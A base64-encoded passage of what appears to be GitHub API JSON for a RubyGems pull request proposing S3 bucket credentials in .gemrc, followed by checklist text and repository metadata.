QgYnkgbW92aW5nIHRoZSBjb25maWcgaW50byB0aGUgLmdlbXJjLlxuPiBJbnN0ZWFkIG9mIGVuY29kaW5nIHRoZSBpZCBhbmQgc2VjcmV0IGludG8gdGhlIHVybCwgZWRpdCB0aGUgLmdlbXJjIGZpbGUgd2l0aCB0aGUgYXV0aGVudGljYXRpb24gbmVlZGVkIGZvciBlYWNoIHNvdXJjZS4gWW91IG11c3QgYWRkIHRoZSBzMyBidWNrZXQgdG8gdGhlIHJlZ3VsYXIgc291cmNlcywgdGhlbiBhZGQgdGhlIHMzX3NvdXJjZSBrZXkgd2l0aCBhIHNldCBvZiBjcmVkZW50aWFscyBmb3IgZWFjaCBzMyBob3N0bmFtZS5cbj4gXG4+IGBgYFxuPiA6c291cmNlczpcbj4gLSBzMzovL2J1Y2tldDEvcGF0aFxuPiAtIHMzOi8vYnVja2V0Mi9cbj4gLSBodHRwczovL3J1YnlnZW1zLm9yZy9cbj4gczNfc291cmNlOiB7XG4+ICAgYnVja2V0MToge1xuPiAgICAgaWQ6IFwiQU9VRUFPRVUxMjMxMjNBT0VVQU9cIixcbj4gICAgIHNlY3JldDogXCJhb2RudWh0ZGFvL3NhZXVodG8rMTkyODNvYWVodS9hc29ldSsxMjNoXCJcbj4gICB9LFxuPiAgIGJ1Y2tldDI6IHtcbj4gICAgIGlkOiBcIkFPVUVBT0VVMTIzMTIzQU9FVUFPXCIsXG4+ICAgICBzZWNyZXQ6IFwiYW9kbnVodGRhby9zYWV1aHRvKzE5Mjgzb2FlaHUvYXNvZXUrMTIzaFwiXG4+ICAgfVxuPiB9XG4+IGBgYFxuIyBUYXNrczpcbi0gW3hdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxuLSBbeF0gV3JpdGUgdGVzdHNcbi0gW3hdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcbi0gWyBdIFtTcXVhc2ggY29tbWl0c10oaHR0cDovL2dpdHJlYWR5LmNvbS9hZHZhbmNlZC8yMDA5LzAyLzEwL3NxdWFzaGluZy1jb21taXRzLXdpdGgtcmViYXNlLmh0bWwpXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXG4iLCJjcmVhdGVkX2F0IjoiMjAxNi0wOC0xOVQwNDozMjo1MVoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0wMi0wOFQxOTowMTozMloiLCJjbG9zZWRfYXQiOm51bGwsIm1lcmdlZF9hdCI6bnVsbCwibWVyZ2VfY29tbWl0X3NoYSI6ImIyODQ1ZjBhNzk1ZjExNTEwNTZiMzc5ZWM2MDE3NjRlOTcwOGRiMGUiLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwicmVxdWVzdGVkX3Jldmlld2VycyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzE2OTAvY29tbWl0cyIsInJldmlld19jb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzE2OTAvY29tbWVudHMiLCJyZXZpZXdfY29tbWVudF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzL2NvbW1lbnRzey9udW1iZXJ9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTY5MC9jb21tZW50cyIsInN0YXR1c2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhdHVzZXMvZjQ5MTU2YjMwMGJhOWNjYzZlM2Q5MDI0ZDIzYjAyYTVjN2U3ZGYzMyIsImhlYWQiOnsibGFiZWwiOiJzb25hbGtyMTMyOnMzX3NvdXJjZSIsInJlZiI6InMzX3NvdXJjZSIsInNoYSI6ImY0OTE1NmIzMDBiYTljY2M2ZTNkOTAyNGQyM2IwMmE1YzdlN2RmMzMiLCJ1c2VyIjp7ImxvZ2luIjoic29uYWxrcjEzMiIsImlkIjo3NjgwNjYyLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS83NjgwNjYyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zb25hbGtyMTMyIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc29uYWxrcjEzMiIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NvbmFsa3IxMzIvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc29uYWxrcjEzMi9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zb25hbGtyMTMyL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zb25hbGtyMTMyL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc29uYWxrcjEzMi9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NvbmFsa3IxMzIvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc29uYWxrcjEzMi9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NvbmFsa3IxMzIvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NvbmFsa3IxMzIvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInJlcG8iOnsiaWQiOjU4NTE2MjMxLCJuYW1lIjoicnVieWdlbXMiLCJmdWxsX25hbWUiOiJzb25hbGtyMTMyL3J1YnlnZW1zIiwib3duZXIiOnsibG9naW4iOiJzb25hbGtyMTMyIiwiaWQiOjc2ODA2NjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91Lzc2ODA2NjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NvbmFsa3IxMzIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zb25hbGtyMTMyIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc29uYWxrcjEzMi9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zb25hbGtyMTMyL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NvbmFsa3IxMzIvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NvbmFsa3IxMzIvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zb25hbGtyMTMyL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc29uYWxrcjEzMi9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zb25hbGtyMTMyL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc29uYWxrcjEzMi9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc29uYWxrcjEzMi9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicHJpdmF0ZSI6ZmFsc2UsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NvbmFsa3IxMzIvcnVieWdlbXMiLCJkZXNjcmlwdGlvbiI6IkxpYnJhcnkgcGFja2FnaW5nIGFuZCBkaXN0cmlidXRpb24gZm9yIFJ1YnkuIiwiZm9yayI6dHJ1ZSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zb25hbGtyMTMyL3J1YnlnZW1zIiwiZm9ya3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zb25hbGtyMTMyL3J1YnlnZW1zL2ZvcmtzIiwia2V5c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NvbmFsa3IxMzIvcnVieWdlbXMva2V5c3sva2V5X2lkfSIsImNvbGxhYm9yYXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zb25hbGtyMTMyL3J1YnlnZW1zL2NvbGxhYm9yYXRvcnN7L2NvbGxhYm9yYXRvcn0iLCJ0ZWFtc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NvbmFsa3IxMzIvcnVieWdlbXMvdGVhbXMiLCJob29rc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NvbmFsa3IxMzIvcnVieWdlbXMvaG9va3MiLCJpc3N1ZV9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zb25hbGtyMTMyL3J1YnlnZW1zL2lzc3Vlcy9ldmVudHN7L251bWJlcn0iLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zb25hbGtyMTMyL3J1YnlnZW1zL2V2ZW50cyIsImFzc2lnbmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NvbmFsa3IxMzIvcnVieWdlbXMvYXNzaWduZWVzey91c2VyfSIsImJyYW5jaGVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc29uYWxrcjEzMi9ydWJ5Z2Vtcy9icmFuY2hlc3svYnJhbmNofSIsInRhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zb25hbGtyMTMyL3J1YnlnZW1zL3RhZ3MiLCJibG9ic191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NvbmFsa3IxMzIvcnVieWdlbXMvZ2l0L2Jsb2Jzey9zaGF9IiwiZ2l0X3RhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zb25hbGtyMTMyL3J1YnlnZW1zL2dpdC90YWdzey9zaGF9IiwiZ2l0X3JlZnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zb25hbGtyMTMyL3J1YnlnZW1zL2dpdC9yZWZzey9zaGF9IiwidHJlZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zb25hbGtyMTMyL3J1YnlnZW1zL2dpdC90cmVlc3svc2hhfSIsInN0YXR1c2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc29uYWxrcjEzMi9ydWJ5Z2Vtcy9zdGF0dXNlcy97c2hhfSIsImxhbmd1YWdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NvbmFsa3IxMzIvcnVieWdlbXMvbGFuZ3VhZ2VzIiwic3RhcmdhemVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NvbmFsa3IxMzIvcnVieWdlbXMvc3RhcmdhemVycyIsImNvbnRyaWJ1dG9yc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NvbmFsa3IxMzIvcnVieWdlbXMvY29udHJpYnV0b3JzIiwic3Vic2NyaWJlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zb25hbGtyMTMyL3J1YnlnZW1zL3N1YnNjcmliZXJzIiwic3Vic2NyaXB0aW9uX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc29uYWxrcjEzMi9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb24iLCJjb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc29uYWxrcjEzMi9ydWJ5Z2Vtcy9jb21taXRzey9zaGF9IiwiZ2l0X2NvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zb25hbGtyMTMyL3J1YnlnZW1zL2dpdC9jb21taXRzey9zaGF9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zb25hbGtyMTMyL3J1YnlnZW1zL2NvbW1lbnRzey9udW1iZXJ9IiwiaXNzdWVfY29tbWVudF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NvbmFsa3IxMzIvcnVieWdlbXMvaXNzdWVzL2NvbW1lbnRzey9udW1iZXJ9IiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zb25hbGtyMTMyL3J1YnlnZW1zL2NvbnRlbnRzL3srcGF0aH0iLCJjb21wYXJlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc29uYWxrcjEzMi9ydWJ5Z2Vtcy9jb21wYXJlL3tiYXNlfS4uLntoZWFkfSIsIm1lcmdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NvbmFsa3IxMzIvcnVieWdlbXMvbWVyZ2VzIiwiYXJjaGl2ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NvbmFsa3IxMzIvcnVieWdlbXMve2FyY2hpdmVfZm9ybWF0fXsvcmVmfSIsImRvd25sb2Fkc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NvbmFsa3IxMzIvcnVieWdlbXMvZG93bmxvYWRzIiwiaXNzdWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc29uYWxrcjEzMi9ydWJ5Z2Vtcy9pc3N1ZXN7L251bWJlcn0iLCJwdWxsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NvbmFsa3IxMzIvcnVieWdlbXMvcHVsbHN7L251bWJlcn0iLCJtaWxlc3RvbmVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc29uYWxrcjEzMi9ydWJ5Z2Vtcy9taWxlc3RvbmVzey9udW1iZXJ9Iiwibm90aWZpY2F0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NvbmFsa3IxMzIvcnVieWdlbXMvbm90aWZpY2F0aW9uc3s/c2luY2UsYWxsLHBhcnRpY2lwYXRpbmd9IiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvc29uYWxrcjEzMi9ydWJ5Z2Vtcy9sYWJlbHN7L25hbWV9IiwicmVsZWFzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9zb25hbGtyMTMyL3J1YnlnZW1zL3JlbGVhc2Vzey9pZH0iLCJkZXBsb3ltZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3NvbmFsa3IxMzIvcnVieWdlbXMvZGVwbG95bWVudHMiLCJjcmVhdGVkX2F0IjoiMjAxNi0wNS0xMVQwNToxODo0NloiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wNS0xMVQwNToxODo0OVoiLCJwdXNoZWRfYXQiOiIyMDE3LTA0LTIwVDAyOjU2OjIxWiIsImdpdF91cmwiOiJnaXQ6Ly9naXRodWIuY29tL3NvbmFsa3IxMzIvcnVieWdlbXMuZ2l0Iiwic3NoX3VybCI6ImdpdEBnaXRodWIuY29tOnNvbmFsa3IxMzIvcnVieWdlbXMuZ2l0IiwiY2xvbmVfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NvbmFsa3IxMzIvcnVieWdlbXMuZ2l0Iiwic3ZuX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zb25hbGtyMTMyL3J1YnlnZW1zIiwiaG9tZXBhZ2UiOiJodHRwOi8vcnVieWdlbXMub3JnIiwic2l6ZSI6MTM1NTUsInN0YXJnYXplcnNfY291bnQiOjAsIndhdGNoZXJzX2NvdW50IjowLCJsYW5ndWFnZSI6IlJ1YnkiLCJoYXNfaXNzdWVzIjpmYWxzZSwiaGFzX3Byb2plY3RzIjp0cnVlLCJoYXNfZG93bmxvYWRzIjp0cnVlLCJoYXNfd2lraSI6ZmFsc2UsImhhc19wYWdlcyI6ZmFsc2UsImZvcmtzX2NvdW50IjowLCJtaXJyb3JfdXJsIjpudWxsLCJhcmNoaXZlZCI6ZmFsc2UsIm9wZW5faXNzdWVzX2NvdW50IjowLCJsaWNlbnNlIjp7ImtleSI6Im90aGVyIiwibmFtZSI6Ik90aGVyIiwic3BkeF9pZCI6bnVsbCwidXJsIjpudWxsfSwiZm9ya3MiOjAsIm9wZW5faXNzdWVzIjowLCJ3YXRjaGVycyI6MCwiZGVmYXVsdF9icmFuY2giOiJtYXN0ZXIifX0sImJhc2UiOnsibGFiZWwiOiJydWJ5Z2VtczptYXN0ZXIiLCJyZWYiOiJtYXN0ZXIiLCJzaGEiOiIwYTk5ZTkxZWJkMDEwZGRmMTNiZGNhYWY1NjljZTA3ZDNiODI2YWQ5IiwidXNlciI6eyJsb2dpbiI6InJ1YnlnZW1zIiwiaWQiOjIwODc2MSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjA4NzYxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2VtcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiT3JnYW5pemF0aW9uIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJyZXBvIjp7ImlkIjo2MTQwNzAsIm5hbWUiOiJydWJ5Z2VtcyIsImZ1bGxfbmFtZSI6InJ1YnlnZW1zL3J1YnlnZW1zIiwib3duZXIiOnsibG9naW4iOiJydWJ5Z2VtcyIsImlkIjoyMDg3NjEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzIwODc2MT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2VtcyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6Ik9yZ2FuaXphdGlvbiIsInNpdGVfYWRtaW4iOmZhbHNlfSwicHJpdmF0ZSI6ZmFsc2UsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zIiwiZGVzY3JpcHRpb24iOiJMaWJyYXJ5IHBhY2thZ2luZyBhbmQgZGlzdHJpYnV0aW9uIGZvciBSdWJ5LiIsImZvcmsiOmZhbHNlLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwiZm9ya3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9mb3JrcyIsImtleXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9rZXlzey9rZXlfaWR9IiwiY29sbGFib3JhdG9yc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbGxhYm9yYXRvcnN7L2NvbGxhYm9yYXRvcn0iLCJ0ZWFtc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3RlYW1zIiwiaG9va3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ob29rcyIsImlzc3VlX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy9ldmVudHN7L251bWJlcn0iLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ldmVudHMiLCJhc3NpZ25lZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9hc3NpZ25lZXN7L3VzZXJ9IiwiYnJhbmNoZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9icmFuY2hlc3svYnJhbmNofSIsInRhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy90YWdzIiwiYmxvYnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvYmxvYnN7L3NoYX0iLCJnaXRfdGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90YWdzey9zaGF9IiwiZ2l0X3JlZnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvcmVmc3svc2hhfSIsInRyZWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzey9zaGF9Iiwic3RhdHVzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGF0dXNlcy97c2hhfSIsImxhbmd1YWdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhbmd1YWdlcyIsInN0YXJnYXplcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGFyZ2F6ZXJzIiwiY29udHJpYnV0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udHJpYnV0b3JzIiwic3Vic2NyaWJlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdWJzY3JpYmVycyIsInN1YnNjcmlwdGlvbl91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N1YnNjcmlwdGlvbiIsImNvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzey9zaGF9IiwiZ2l0X2NvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0c3svc2hhfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWVudHN7L251bWJlcn0iLCJpc3N1ZV9jb21tZW50X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzL2NvbW1lbnRzey9udW1iZXJ9IiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250ZW50cy97K3BhdGh9